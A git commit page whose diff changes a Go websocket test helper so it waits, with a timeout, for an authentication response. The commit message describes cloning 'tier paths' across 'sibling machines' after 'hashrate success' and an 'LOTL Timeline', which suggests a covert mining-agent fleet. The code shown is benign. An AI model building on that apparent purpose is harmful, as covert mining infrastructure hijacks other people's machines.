Add fleet phenotype cloning for sibling machines.
Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
This commit is contained in:
@@ -58,11 +58,18 @@ func authAgentConn(t *testing.T, conn *websocket.Conn, payload map[string]interf
|
||||
if err := conn.WriteJSON(Message{Type: "auth", Payload: data}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var resp Message
|
||||
if err := conn.ReadJSON(&resp); err != nil {
|
||||
t.Fatalf("read auth_response: %v", err)
|
||||
deadline := time.Now().Add(3 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
var resp Message
|
||||
if err := conn.ReadJSON(&resp); err != nil {
|
||||
t.Fatalf("read auth_response: %v", err)
|
||||
}
|
||||
if resp.Type == "auth_response" {
|
||||
return resp
|
||||
}
|
||||
}
|
||||
return resp
|
||||
t.Fatal("timed out waiting for auth_response")
|
||||
return Message{}
|
||||
}
|
||||
|
||||
func TestWSHubPingIntervalConstants(t *testing.T) {
|
||||
|
||||
Reference in New Issue
Block a user